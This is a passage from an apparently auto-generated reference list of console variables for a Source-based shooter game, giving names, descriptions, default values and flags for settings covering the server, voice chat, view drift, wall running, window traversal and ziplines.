+sv_skipSendingUnnecessaryPersistence + + + +default: `"0"` +flags: `0x2` +
+
+sv_skyname + +Current name of the skybox texture + +default: `""` +flags: `0x2002` +
+
+sv_snapshot_uniform_interval + +A snapshot is created at uniform intervals, rather than according to final_tick + +default: `"1"` +flags: `0x2` +
+
+sv_specaccelerate + + + +default: `"1000.0"` +flags: `0x2080` +
+
+sv_specnoclip + + + +default: `"1"` +flags: `0x2080` +
+
+sv_specspeed + + + +default: `"5.0"` +flags: `0x2080` +
+
+sv_stats + +Collect CPU usage stats + +default: `"1"` +flags: `0x2` +
+
+sv_stopspeed + +Minimum stopping speed when on ground. (Equivalent player setting is in player settings files) + +default: `"100"` +flags: `0x2002` +
+
+sv_stressbots + +If set to 1, the server calculates data and fills packets to bots. Used for perf testing. + +default: `"1"` +flags: `0x2` +
+
+sv_struggleCheck + +How long ago the 20th server frame can have been. 1.0 means the server is running in realtime. Higher means small hitches are ok. + +default: `"1.050"` +flags: `0x2` +
+
+sv_struggleSpam + +How long ago the 20th server frame can have been before it starts yelling. 1.0 means the server is running in realtime. Higher means small hitches are ok. + +default: `"1.4"` +flags: `0x2` +
+
+sv_struggleSpamInterval + + + +default: `"5"` +flags: `0x2` +
+
+sv_tempents_send_from_delta + +Causes snapshot send code to walk back to delta, instead of always sending just current snapshot. + +default: `"0"` +flags: `0x2` +
+
+sv_tempents_send_from_last_sent + +Causes snapshot send code to walk back to last m_lastSnapshotTick, instead of always sending just current snapshot. + +default: `"1"` +flags: `0x2` +
+
+sv_testLargeDatablock + + + +default: `"0"` +flags: `0x2` +
+
+sv_teststepsimulation + + + +default: `"0"` +flags: `0x2002` +
+
+sv_transmitToAllPlayersMask_allBitsSet + +This enables the legacy behavior of setting all bits inside of PerPlayerBitMask when we want to transmit an entities to all clients. This includes setting bits to clients that can't even exist(compare GetMaxClients to ABSOLUTE_PLAYER_LIMIT) + +default: `"0"` +flags: `0x2` +
+
+sv_unnecessaryConnectDelay + +Amount of time to wait before responding to a connecting client (or malicious hacker) + +default: `"60"` +flags: `0x2` +
+
+sv_unreliableSnapMaxSize + +If we're sending a snapshot this size or larger, send it via the datablock sender. If a player has 4% packet loss, 10k of data would have a 40% chance of making it across with no resends + +default: `"10000"` +flags: `0x2` +
+
+sv_updaterate_mp + +Maximum update rate at which server sends packets to clients in MP (updates per-second). + +default: `"20"` +flags: `0x2` +
+
+sv_updaterate_sp + +Maximum update rate at which server sends packets to clients in SP (updates per-second). + +default: `"20"` +flags: `0x2` +
+
+sv_useReputation + + + +default: `"1"` +flags: `0x2` +
+
+sv_useThreadsForSnapshots + + + +default: `"0"` +flags: `0x2` +
+
+sv_voiceEcho + +Server will return a voice chat message back to the sending client. + +default: `"0"` +flags: `0x2` +
+
+sv_voiceenable + + + +default: `"1"` +flags: `0x80080` +
+
+sv_warnAboutCmdNumJumps + + + +default: `"20"` +flags: `0x2` +
+
+sv_watchdogTimer + + + +default: `"20"` +flags: `0x2` +
+
+sv_wateraccelerate + + + +default: `"10"` +flags: `0x2002` +
+
+sv_waterdist + +Vertical view fixup when eyes are near water plane. + +default: `"12"` +flags: `0x2002` +
+
+sv_writePersistenceOnShutdown + + + +default: `"1"` +flags: `0x2` +
+
+sys_attract_mode_timeout + + + +default: `"30"` +flags: `0x2` +
+
+system_alt_f4_closes_window + +If set to true, alt+f4 will close the window + +default: `"1"` +flags: `0x2` +
+
+teams_unassigned_are_friendly + + + +default: `"0"` +flags: `0x2002` +
+
+telemetry_client_debug + + + +default: `"0"` +flags: `0x2` +
+
+telemetry_client_enable + +Enable sending telemetry data + +default: `"1"` +flags: `0x2` +
+
+telemetry_client_sendInterval + +How often to send telemetry data (seconds) + +default: `"10.0"` +flags: `0x2` +
+
+telemetryevent_client_enable + +Enable sending client telemetry events + +default: `"1"` +flags: `0x2` +
+
+tencent_restricted + + + +default: `"0"` +flags: `0x2` +
+
+test_fakeTimeDays + +Days worth of seconds that will be added to the result of GetUnixTimestamp() for script and playlist rotation. Server authoritive. + +default: `"0"` +flags: `0x2002` +
+
+tether_damageScale + +amount that stretching the tether damages it + +default: `"0.00"` +flags: `0x2002` +
+
+tether_dodge_damage + +Damage done to tether by dodging away from it + +default: `"0"` +flags: `0x2002` +
+
+tether_healthDrain + +rate at which tether health drains even if it isn't stretched + +default: `"200"` +flags: `0x2002` +
+
+tether_healthDrainNPC + +rate at which tether health drains even if it isn't stretched (when attached to an NPC) + +default: `"200"` +flags: `0x2002` +
+
+tether_maxvel + +max velocity with which tether pulls you back + +default: `"200"` +flags: `0x2002` +
+
+tether_radius + +radius below which the tether does nothing + +default: `"250"` +flags: `0x2002` +
+
+tether_strength + +strength with which tether pulls back (per unit past the radius) + +default: `"25"` +flags: `0x2002` +
+
+thirdperson_mayamode + +Set to 1 to enable maya-like controls in game (only in third person) [Also don't move the camera when the mouse moves.] + +default: `"0"` +flags: `0x4000` +
+
+thirdperson_override + +Set to -1 to stop overriding. Set to 0 to force first person, 1 to force third person + +default: `"-1"` +flags: `0x4000` +
+
+thirdperson_screenspace + +Movement will be relative to the camera, eg: left means screen-left + +default: `"0"` +flags: `0x2` +
+
+timeout + +Seconds without communication before clients or servers will decide to disconnect. + +default: `"15"` +flags: `0x2` +
+
+timeout_during_load + +Seconds without communication during a level load before clients or servers will decide to disconnect. + +default: `"60"` +flags: `0x2` +
+
+titan_sprint_sound + + + +default: `"titan_eject_servos_3p"` +flags: `0x2` +
+
+toggle_on_jump_to_deactivate + +Toggle or release jump to deactivate the offhand weapon + +default: `"1"` +flags: `0x280` +
+
+tracehull_height_error_check + +Error checking for hull traces requiring extents with larger heights than widths. 0 = none, 1 = warnings, 2 = assert and script errors + +default: `"0"` +flags: `0x2002` +
+
+tracer_debug + + + +default: `"0"` +flags: `0x4000` +
+
+trail_optimizedRemove + + + +default: `"1"` +flags: `0x2` +
+
+traversal_anim + +Enables automantle animation + +default: `"1"` +flags: `0x2002` +
+
+traversal_cooldown + +Minimum time between traversals (in seconds) + +default: `"0.5"` +flags: `0x2002` +
+
+traversal_enable + +Enables player traversals + +default: `"1"` +flags: `0x2002` +
+
+traversal_hand_debug + +Enables debugging of traversal hand positioning + +default: `"0"` +flags: `0x2002` +
+
+traversal_hand_required_width + +Required width of geometry for hands (from center) + +default: `"6"` +flags: `0x2002` +
+
+traversal_viewLerpInDuration + +Duration of view lerp from normal at the start of a traversal + +default: `"0.15"` +flags: `0x2002` +
+
+traversal_viewLerpOut + +Controls whether traversal view position and angle lerp back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_viewLerpOutAngle + +Controls whether traversal view angle lerps back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_viewLerpOutDebug + +Debugs traversal view position lerping + +default: `"0"` +flags: `0x2` +
+
+traversal_viewLerpOutPos + +Controls whether traversal view position lerps back to normal at the end of a traversal + +default: `"1"` +flags: `0x2` +
+
+traversal_window_duration + +Duration of window side traversal animation + +default: `"0.3"` +flags: `0x2002` +
+
+traversal_window_enable + +Enables window traversals + +default: `"1"` +flags: `0x2002` +
+
+traversal_window_finish_angle + +Finishing yaw relative to the window's forward direction when starting at a 90 degree angle + +default: `"45"` +flags: `0x2002` +
+
+traversal_window_forward_offset + +Distance of player through the window after completing window traversal + +default: `"6"` +flags: `0x2002` +
+
+traversal_window_hand_vertical_offset + +Vertical distance from hand position to eye position at start and end of window traversal + +default: `"22"` +flags: `0x2002` +
+
+traversal_window_sideways_offset + +Distance of player from the edge of the window toward the center of the window after completing window traversal + +default: `"18"` +flags: `0x2002` +
+
+traversal_window_view_pitch_max + +Max view pitch when doing window traversal + +default: `"35"` +flags: `0x4000` +
+
+traversal_window_view_pitch_min + +Min view pitch when doing window traversal + +default: `"-80"` +flags: `0x4000` +
+
+traversal_window_yaw_max + +Max view yaw when doing window traversal + +default: `"80"` +flags: `0x4000` +
+
+trigger_crowd_pusher_enabled + +Enables logic for TT_CROWD_PUSHER triggers + +default: `"0"` +flags: `0x2002` +
+
+trigger_ignore_nonsolids + +If set to false, non solid objects will activate triggers. + +default: `"1"` +flags: `0x2002` +
+
+tsaa_blendfactorincreaseatmaxvelocity + + + +default: `"4.0"` +flags: `0x2` +
+
+tsaa_blendfactorincreasewhenunoccluded + + + +default: `"5.0"` +flags: `0x2` +
+
+tsaa_blendfactormaxesoutatvelocity + + + +default: `"0.25"` +flags: `0x2` +
+
+tsaa_blendfactormodulationonsparklesandunocclusion + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_blendfactoroverride + + + +default: `"-1"` +flags: `0x2` +
+
+tsaa_curframeblendamount + + + +default: `"0.05"` +flags: `0x2` +
+
+tsaa_debugresponsiveflag + + + +default: `"0"` +flags: `0x2` +
+
+tsaa_neighborhoodclamping + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_neighborhoodclampingsoftened + + + +default: `"1"` +flags: `0x2` +
+
+tsaa_numsamples + + + +default: `"64"` +flags: `0x2` +
+
+tweak_light_shadows_every_frame + + + +default: `"0"` +flags: `0x2` +
+
+twitch_check_interval + +how often we ask if this user has a linked twitch prime account if we think they don't have one + +default: `"3600"` +flags: `0x2` +
+
+twitch_prime_rewards + + + +default: `""` +flags: `0x210` +
+
+twitch_shouldQuery + +true if we should check to see if this user has a linked twitch prime account + +default: `"1"` +flags: `0x2` +
+
+ui_DpadNavigationDeActive + + + +default: `"1"` +flags: `0x2` +
+
+ui_fadecloud_time + + + +default: `"1.5"` +flags: `0x2` +
+
+ui_fadexui_time + + + +default: `"0.5"` +flags: `0x2` +
+
+ui_gameui_ctrlr_title + + + +default: `"0"` +flags: `0x2` +
+
+ui_gameui_modal + +If set, the game UI pages will take modal input focus. + +default: `"0"` +flags: `0x2` +
+
+ui_loadingscreen_autotransition_time + + + +default: `"5.0"` +flags: `0x2` +
+
+ui_loadingscreen_fadein_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_loadingscreen_fadeout_time + + + +default: `"0.2"` +flags: `0x2` +
+
+ui_loadingscreen_fadeout_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_loadingscreen_mintransition_time + + + +default: `"0.5"` +flags: `0x2` +
+
+ui_loadingscreen_transition_time + + + +default: `"1.0"` +flags: `0x2` +
+
+ui_lobby_jointimeout + + + +default: `"75"` +flags: `0x2` +
+
+ui_lobby_noautostart + + + +default: `"0"` +flags: `0x2` +
+
+ui_lobby_noresults_create_msg_time + + + +default: `"2.5"` +flags: `0x2` +
+
+ui_posedebug_fade_in_time + +Time during which a new pose activity layer is shown in green in +posedebug UI + +default: `"0.2"` +flags: `0x24000` +
+
+ui_posedebug_fade_out_time + +Time to keep a no longer active pose activity layer in red until removing it from +posedebug UI + +default: `"0.8"` +flags: `0x24000` +
+
+ui_virtualnav_render + + + +default: `"0"` +flags: `0x2` +
+
+unique_entity_names + +Should entities have permanently unique entity names. Or just concurrently unique? + +default: `"0"` +flags: `0x2002` +
+
+usePromptBaseColor + + + +default: `"255 255 255 255"` +flags: `0x2` +
+
+usePromptButtonTextColor + + + +default: `"255 255 255 255"` +flags: `0x2` +
+
+usePromptImageScale + + + +default: `"1.5"` +flags: `0x2` +
+
+usePromptImageYOffset + + + +default: `"0"` +flags: `0x2` +
+
+usePromptTextColor + + + +default: `"220 215 210 255"` +flags: `0x2` +
+
+use_monitors + + + +default: `"1"` +flags: `0x2` +
+
+use_presence_to_refresh_userInfoCache + + + +default: `"1"` +flags: `0x2` +
+
+use_valve_auto_gain + + + +default: `"0"` +flags: `0x2` +
+
+use_vm_cloak_offset + + + +default: `"1.0"` +flags: `0x2` +
+
+user_tracking_enabled + + + +default: `"0"` +flags: `0x12` +
+
+users_hostname + + + +default: `""` +flags: `0x80000` +
+
+v_centermove + + + +default: `"0.15"` +flags: `0x2` +
+
+v_centerspeed + + + +default: `"500"` +flags: `0x2` +
+
+variable_sights_gravity_scale_override + +Projectile Gravity Scale to be used for variable sights. + +default: `"1.0"` +flags: `0x2` +
+
+vehicle_predictViaPlayer + +Predict this vehicle if the player's data says they're driving this vehicle...rather than checking if this vehicle has a driver + +default: `"0"` +flags: `0x2` +
+
+vgui_EnableFixedAspectScaling + +Enables fixed screen size for vgui elements + +default: `"1"` +flags: `0x2` +
+
+vgui_drawPolyShapes + + + +default: `"0"` +flags: `0x2` +
+
+vgui_drawfocus + +Report which panel is under the mouse. + +default: `"0"` +flags: `0x2` +
+
+vgui_drawfocus + +Report which panel is under the mouse. + +default: `"0"` +flags: `0x2` +
+
+vgui_drawkeyfocus + +Report which panel has keyboard focus. + +default: `"0"` +flags: `0x2` +
+
+vgui_interactive + + + +default: `"0"` +flags: `0x2` +
+
+vgui_noquads + + + +default: `"0"` +flags: `0x4000` +
+
+vgui_notext + + + +default: `"0"` +flags: `0x4000` +
+
+vgui_resize_on_resolution_change + + + +default: `"0"` +flags: `0x2` +
+
+vgui_show_glyph_miss + + + +default: `"0"` +flags: `0x2` +
+
+vgui_simulate_during_bone_setup + + + +default: `"1"` +flags: `0x2` +
+
+video_menu_uiscript_reset + + + +default: `"1"` +flags: `0x2` +
+
+viewDrift + + + +default: `"1"` +flags: `0x2002` +
+
+viewDrift_ads_delay_debounce_time + +Time between zoom-out and zoom-in before viewdrift_ads_delay is reset. + +default: `"0.5"` +flags: `0x2002` +
+
+viewDrift_pitch_base1_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base1_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base1_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base2_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base2_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_base2_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_base + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_scaler_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_pitch_shifter_amp + + + +default: `"0.6"` +flags: `0x2002` +
+
+viewDrift_pitch_shifter_freq + + + +default: `"2.0"` +flags: `0x2002` +
+
+viewDrift_pitch_shifter_phase + + + +default: `"1.6"` +flags: `0x2002` +
+
+viewDrift_yaw_base1_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base1_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base1_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base2_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base2_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_base2_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_amp + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_base + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_freq + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_scaler_phase + + + +default: `"0"` +flags: `0x2002` +
+
+viewDrift_yaw_shifter_amp + + + +default: `"0.7"` +flags: `0x2002` +
+
+viewDrift_yaw_shifter_freq + + + +default: `"1.0"` +flags: `0x2002` +
+
+viewDrift_yaw_shifter_phase + + + +default: `"-0.6"` +flags: `0x2002` +
+
+view_offset_entity_enable + +Whether to apply camera animations from the view offset entity + +default: `"1"` +flags: `0x6000` +
+
+viewangle_debug + + + +default: `"0"` +flags: `0x4002` +
+
+viewangles_simpler + + + +default: `"1"` +flags: `0x2` +
+
+viewmodelShake + +Enables viewmodel shake. + +default: `"1"` +flags: `0x2` +
+
+viewmodelShake_sourceRollRange + +The range of weapon kick roll that will be sampled for viewmodel shake. + +default: `"3"` +flags: `0x2` +
+
+viewmodel_attachment_fov_fix + + + +default: `"1"` +flags: `0x2` +
+
+viewmodel_bounds_draw + + + +default: `"0"` +flags: `0x2` +
+
+viewmodel_bounds_draw_lock + + + +default: `"0"` +flags: `0x2` +
+
+viewmodel_selfshadow + +Set whether to use viewmodel self shadow + +default: `"1"` +flags: `0x2` +
+
+viewmodel_selfshadow_debug_2d + + + +default: `"0"` +flags: `0x2` +
+
+viewmodel_selfshadow_tightbounds + +Viewmodel bounds are sliced by Main view frustum + +default: `"1"` +flags: `0x2` +
+
+viewportscale + +Scale down the main viewport (to reduce GPU impact on CPU profiling) + +default: `"1.0"` +flags: `0x80000` +min value: `0.0015625` +max value: `2` +
+
+viewpunch_base_springConstantX + +Default. Bigger number increases the speed at which the view corrects. + +default: `"65.0"` +flags: `0x2002` +
+
+viewpunch_base_springConstantY + +Default. Bigger number increases the speed at which the view corrects. + +default: `"65.0"` +flags: `0x2002` +
+
+viewpunch_base_springConstantZ + +Default. Bigger number increases the speed at which the view corrects. + +default: `"65.0"` +flags: `0x2002` +
+
+viewpunch_base_springDampingX + +Default. Bigger number makes the response more damped. + +default: `"9.0"` +flags: `0x2002` +
+
+viewpunch_base_springDampingY + +Default. Bigger number makes the response more damped. + +default: `"9.0"` +flags: `0x2002` +
+
+viewpunch_base_springDampingZ + +Default. Bigger number makes the response more damped. + +default: `"9.0"` +flags: `0x2002` +
+
+violence_ablood + +Draw alien blood + +default: `"1"` +flags: `0x2` +
+
+violence_ablood + +Draw alien blood + +default: `"1"` +flags: `0x2` +
+
+violence_agibs + +Show alien gib entities + +default: `"1"` +flags: `0x2` +
+
+violence_agibs + +Show alien gib entities + +default: `"1"` +flags: `0x2` +
+
+violence_hblood + +Draw human blood + +default: `"1"` +flags: `0x2` +
+
+violence_hblood + +Draw human blood + +default: `"1"` +flags: `0x2` +
+
+violence_hgibs + +Show human gib entities + +default: `"1"` +flags: `0x2` +
+
+violence_hgibs + +Show human gib entities + +default: `"1"` +flags: `0x2` +
+
+visible_ent_cone_debug_duration_client + + + +default: `"0"` +flags: `0x2` +
+
+voice_absTriggerAmount + + + +default: `"2"` +flags: `0x2` +
+
+voice_allow_mute_self + + + +default: `"0"` +flags: `0x2` +
+
+voice_avggain + + + +default: `"0.5"` +flags: `0x2` +
+
+voice_clientdebug + + + +default: `"0"` +flags: `0x2` +
+
+voice_debugAddSecondTalker + + + +default: `"0"` +flags: `0x2` +
+
+voice_debugThresholds + + + +default: `"0"` +flags: `0x2` +
+
+voice_debugfeedback + + + +default: `"0"` +flags: `0x2` +
+
+voice_decimate_at_bytes + + + +default: `"22050"` +flags: `0x2` +
+
+voice_decimate_rate + + + +default: `"10"` +flags: `0x2` +
+
+voice_enabled + +Toggle voice transmit and receive. + +default: `"1"` +flags: `0x1000000` +
+
+voice_energyPerZeroThreshold + + + +default: `"8000"` +flags: `0x2` +
+
+voice_energyThreshold + + + +default: `"12000"` +flags: `0x2` +
+
+voice_forcemicrecord + + + +default: `"1"` +flags: `0x80` +
+
+voice_inputfromfile + +Get voice input from 'voice_input.wav' rather than from the microphone. + +default: `"0"` +flags: `0x80000` +
+
+voice_late_update + + + +default: `"1"` +flags: `0x2` +
+
+voice_loopback + + + +default: `"0"` +flags: `0x200` +
+
+voice_maxgain + + + +default: `"10"` +flags: `0x2` +
+
+voice_minEnergyPerZeroThreshold + + + +default: `"1000"` +flags: `0x2` +
+
+voice_mixer_boost + + + +default: `"0"` +flags: `0x80` +
+
+voice_mixer_mute + + + +default: `"0"` +flags: `0x80` +
+
+voice_mixer_volume + + + +default: `"1.0"` +flags: `0x80` +
+
+voice_modenable + +Enable/disable voice in this mod. + +default: `"1"` +flags: `0x40000080` +
+
+voice_noxplat + +Only send voice data to players on the same platform as the talker + +default: `"0"` +flags: `0x2` +
+
+voice_profile + + + +default: `"0"` +flags: `0x2` +
+
+voice_recordtofile + +Record mic data and decompressed voice data into 'voice_micdata.wav' and 'voice_decompressed.wav' + +default: `"0"` +flags: `0x80000` +
+
+voice_scale + + + +default: `"1"` +flags: `0x80` +
+
+voice_showchannels + + + +default: `"0"` +flags: `0x2` +
+
+voice_showincoming + + + +default: `"0"` +flags: `0x2` +
+
+voice_threshold_delay + + + +default: `"0.3"` +flags: `0x2` +
+
+voice_triggerCrossingRate + + + +default: `"0"` +flags: `0x2` +
+
+voice_triggerRate + + + +default: `"50"` +flags: `0x2` +
+
+voice_turn_off_new_filters + + + +default: `"0"` +flags: `0x2` +
+
+voice_vox + +Voice chat uses a vox-style always on + +default: `"1"` +flags: `0x80` +max value: `1` +
+
+voice_writevoices + +Saves each speaker's voice data into separate .wav files + + +default: `"0"` +flags: `0x2` +
+
+voice_xsend_debug + + + +default: `"0"` +flags: `0x2` +
+
+voice_zeroCrossingThreshold + + + +default: `"0.02"` +flags: `0x2` +
+
+vortex_damageimpulsescale + +Scales impulse force from bullets when using the vortex + +default: `"0.5"` +flags: `0x6000` +
+
+vprof_server_spike_threshold + + + +default: `"999.0"` +flags: `0x2` +
+
+vprof_server_thread + + + +default: `"0"` +flags: `0x2` +
+
+vscript_ui_do_delay_init + + + +default: `"1"` +flags: `0x12` +
+
+vsm_culling + + + +default: `"1"` +flags: `0x2` +
+
+vsm_ignore_edge_planes + + + +default: `"0"` +flags: `0x2` +
+
+vsm_ignore_face_planes + + + +default: `"0"` +flags: `0x2` +
+
+vx_do_not_throttle_events + +Force VXConsole updates every frame; smoother vprof data but at a slight (~0.2ms) perf cost. + +default: `"0"` +flags: `0x2` +
+
+wall_climb_pose_paramteter_hands_enabled + + + +default: `"1"` +flags: `0x2002` +
+
+wallclimb_vertical_gain_reduction + +Amount of height the player loses when falling off a wall climb that can't be regained by future wall climbs before touching the ground. + +default: `"128"` +flags: `0x2002` +
+
+wallrun_angleChangeMinCos + +Cosine of maximum angle the wall can change away from you without falling off + +default: `"0.8"` +flags: `0x2002` +
+
+wallrun_avoid_wall_top_decel + +Deceleration applied to prevent the player from wall running too close to the top of a wall and falling off + +default: `"3000"` +flags: `0x2002` +
+
+wallrun_curveDebug + +Draws debugging information for wallrun curves + +default: `"0"` +flags: `0x2002` +
+
+wallrun_curveEnable + +Enables usage of wallrun curve hints + +default: `"1"` +flags: `0x2002` +
+
+wallrun_debug + +Shows wall run debug info + +default: `"0"` +flags: `0x2002` +
+
+wallrun_enable + +Enables wall running + +default: `"1"` +flags: `0x2002` +
+
+wallrun_fallAwaySpeed + +Velocity away from the wall when falling off + +default: `"70.0"` +flags: `0x2002` +
+
+wallrun_hangStopTime + +Length of time to come to a stop when zooming + +default: `"0.5"` +flags: `0x2002` +
+
+wallrun_hangslipduration + +Time it takes for slipping to become completely gravity based + +default: `"1.0"` +flags: `0x2002` +
+
+wallrun_hangslipstarttime + +Time wall hanging before you start to slip down + +default: `"3.0"` +flags: `0x2002` +
+
+wallrun_hangslipvel + +Impulse downward when slipping starts while wall hanging + +default: `"70"` +flags: `0x2002` +
+
+wallrun_maxViewTilt + +Amount of roll applied to the view in degrees while wall running + +default: `"10.0"` +flags: `0x2002` +
+
+wallrun_minAngle_air + +Angle at which you can start wall running when hitting a wall from a jump (0 to 180) + +default: `"180.0"` +flags: `0x2002` +
+
+wallrun_noInputSlipFrac + +Min fraction of slip behavior when not pushing in any direction (applies more gravity) + +default: `"0.7"` +flags: `0x2002` +
+
+wallrun_pushAwayFallOffTime + +Pushing away from the wall for this many seconds causes you to fall off + +default: `"0.05"` +flags: `0x2002` +
+
+wallrun_repelEnable + +Enables repelling players from walls they have jumped off of + +default: `"1"` +flags: `0x2002` +
+
+wallrun_repelSoftness + +Softness of wall jump repel: higher values make it easier for players to reduce their speed away from the wall + +default: `"5.0"` +flags: `0x2002` +
+
+wallrun_repelTimeMax + +Time after jumping off the wall that player is no longer repelled from the wall + +default: `"0.4"` +flags: `0x2002` +
+
+wallrun_repelTimeMin + +Time after jumping off the wall that player is repelled from the wall + +default: `"0.2"` +flags: `0x2002` +
+
+wallrun_retry_interval + +Length of time between checking for the ability to wallrun after hitting a wall in air movement + +default: `"0.07"` +flags: `0x2002` +
+
+wallrun_rotateMaxRate + +Maximum rotation speed around a wall in radians per second; avoids sticking to walls that do tight curves + +default: `"3"` +flags: `0x2002` +
+
+wallrun_sameWallDist + +Within this distance of the previous wall run, wall run is prevented at a higher point on the same wall + +default: `"100"` +flags: `0x2002` +
+
+wallrun_sameWallDot + +Dot product threshold for preventing wall running on the same wall twice + +default: `"0.9"` +flags: `0x2002` +
+
+wallrun_sameWallSlope + +Beyond wallrun_samewalldist, wall running is permitted at higher points with this slope + +default: `"0"` +flags: `0x2002` +
+
+wallrun_slipduration + +Time it takes for slipping to become completely gravity based + +default: `"1.0"` +flags: `0x2002` +
+
+wallrun_slipslowdown + +Fraction of velocity lost when slipping starts + +default: `"0.5"` +flags: `0x2002` +
+
+wallrun_slipstarttime + +Time wall running before you start to slip down + +default: `"1.5"` +flags: `0x2002` +
+
+wallrun_slipvel + +Impulse downward when slipping starts + +default: `"70"` +flags: `0x2002` +
+
+wallrun_strengthLossEnd + +Number of wall runs at which point upward strength is fully lost (scales upWallBoost, jumpUpSpeed, and gravityRampUpTime to zero) + +default: `"1000"` +flags: `0x2002` +
+
+wallrun_strengthLossStart + +Number of wall runs allowed before starting to lose upward strength (scales upWallBoost, jumpUpSpeed, and gravityRampUpTime) + +default: `"1000"` +flags: `0x2002` +
+
+wallrun_upwardAutoPush + +The amount of automatic up-the-wall input applied when the player pushes forward along the wall. Helps to fight gravity when pushing forward. + +default: `"0.65"` +flags: `0x2002` +
+
+wallrun_viewTiltPredictTime + +Time before you start wall running where your view starts tilting. Predicts upcoming wall running + +default: `"0.25"` +flags: `0x2002` +
+
+wallrun_viewTiltSpeed + +Speed at which the view tilts while wall running + +default: `"6.0"` +flags: `0x2002` +
+
+was_loaded + +Current game from a restore? + +default: `""` +flags: `0x12002` +
+
+weaponFastHolsterScale + +Scales holster animations if swapping to a weapon with "fast_swap_to" enabled. + +default: `"0.25"` +flags: `0x2002` +
+
+weaponSwitch3p_checkNewWeapon + +Only play 3p weapon switch if there is a new weapon. + +default: `"1"` +flags: `0x2002` +
+
+weaponSwitch3p_onHolster + +Start third person weapon switch animation as soon as the current weapon starts being holstered. + +default: `"1"` +flags: `0x2002` +
+
+weapon_auto_swap_ordnance_no_ammo + +If you touch a new ordnance weapon with no ammo in your current it will auto replace it + +default: `"0"` +flags: `0x2002` +
+
+weapon_debugScript + + + +default: `"0"` +flags: `0x2002` +
+
+weapon_doIdleForSurvivalMelee + + + +default: `"0"` +flags: `0x2` +
+
+weapon_friendly_fire_prevent_ui + +UI to show on friendly fire prevention + +default: `""` +flags: `0x2` +
+
+weapon_meleeButtonPressProtection + + + +default: `"1"` +flags: `0x2002` +
+
+weapon_parentingFixLerp + + + +default: `"1"` +flags: `0x2` +
+
+weapon_pickup_allow_dupes + +Whether or not you are allowed 2 of the same weapon in your inventory + +default: `"1"` +flags: `0x2002` +
+
+weapon_poseParamMaxDistance + + + +default: `"6000"` +flags: `0x2` +
+
+weapon_render_with_fastpath + +Allow weapons to draw using the fast path. + +default: `"1"` +flags: `0x2` +
+
+weapon_setting_autocycle_on_empty + + + +default: `"1"` +flags: `0x41000200` +
+
+weapon_sprint_raise_delay + +Enables weapon delay between sprint and shooting + +default: `"1"` +flags: `0x2002` +
+
+weaponx_predicting_client_only_optimization + +Enable/disable weaponx optimization for burst fire, shot count and charge data only being sent to predicting client + +default: `"1"` +flags: `0x2002` +
+
+weaponx_smartammo_data_optimization + +Enable/disable weaponx smartammo data optimization. Only applies with net_optimize_weapons >= 2 + +default: `"0"` +flags: `0x2002` +
+
+window_hint_debug + +Debugs search for window hints + +default: `"0"` +flags: `0x2002` +
+
+window_hint_fov_down + +Window hints below this vertical FOV will be ignored + +default: `"0"` +flags: `0x2002` +
+
+window_hint_fov_horz + +Window hints beyond this horizontal FOV will be ignored + +default: `"60"` +flags: `0x2002` +
+
+window_hint_fov_up + +Window hints above this vertical FOV will be ignored + +default: `"60"` +flags: `0x2002` +
+
+window_hint_keyboard_fov_horz + +Window hints beyond this horizontal FOV will be ignored + +default: `"7"` +flags: `0x2002` +
+
+window_hint_lookahead_time + +Lookahead prediction time for window checks + +default: `"0.8"` +flags: `0x2002` +
+
+window_hint_max_horz_vel_change_dot + +Min dot product of velocity change when adjusting for windows + +default: `"0.966f"` +flags: `0x2002` +
+
+window_hint_max_vel_change_down + +Max removed vertical velocity when adjusting for windows + +default: `"150"` +flags: `0x2002` +
+
+window_hint_max_vel_change_up + +Max added vertical velocity when adjusting for windows + +default: `"80"` +flags: `0x2002` +
+
+window_hint_min_horz_vel + +Horizontal velocity is increased to at least this when adjusting for windows + +default: `"100"` +flags: `0x2002` +
+
+window_hint_permissive_max_horz_vel_change_dot + +Min dot product of velocity change when adjusting for windows (off grapple) + +default: `"0.88f"` +flags: `0x2002` +
+
+window_hint_permissive_max_vel_change_down + +Max removed vertical velocity when adjusting for windows (off grapple) + +default: `"300"` +flags: `0x2002` +
+
+window_hint_permissive_max_vel_change_up + +Max added vertical velocity when adjusting for windows (off grapple) + +default: `"300"` +flags: `0x2002` +
+
+z_ragdoll_impact_strength + + + +default: `"500"` +flags: `0x2` +
+
+zipline_check_usable_before_deploy + +For Zipline grenades, check if the zipline will be usable before allowing the player to deploy it. + +default: `"1"` +flags: `0x2002` +
+
+zipline_cooldown_time_0 + +Zipline Cooldown. + +default: `"0.1"` +flags: `0x2` +min value: `0` +
+
+zipline_cooldown_time_1 + +Zipline Cooldown. + +default: `"0.2"` +flags: `0x2` +min value: `0` +
+
+zipline_cooldown_time_2 + +Zipline Cooldown. + +default: `"1.0"` +flags: `0x2` +min value: `0` +
+
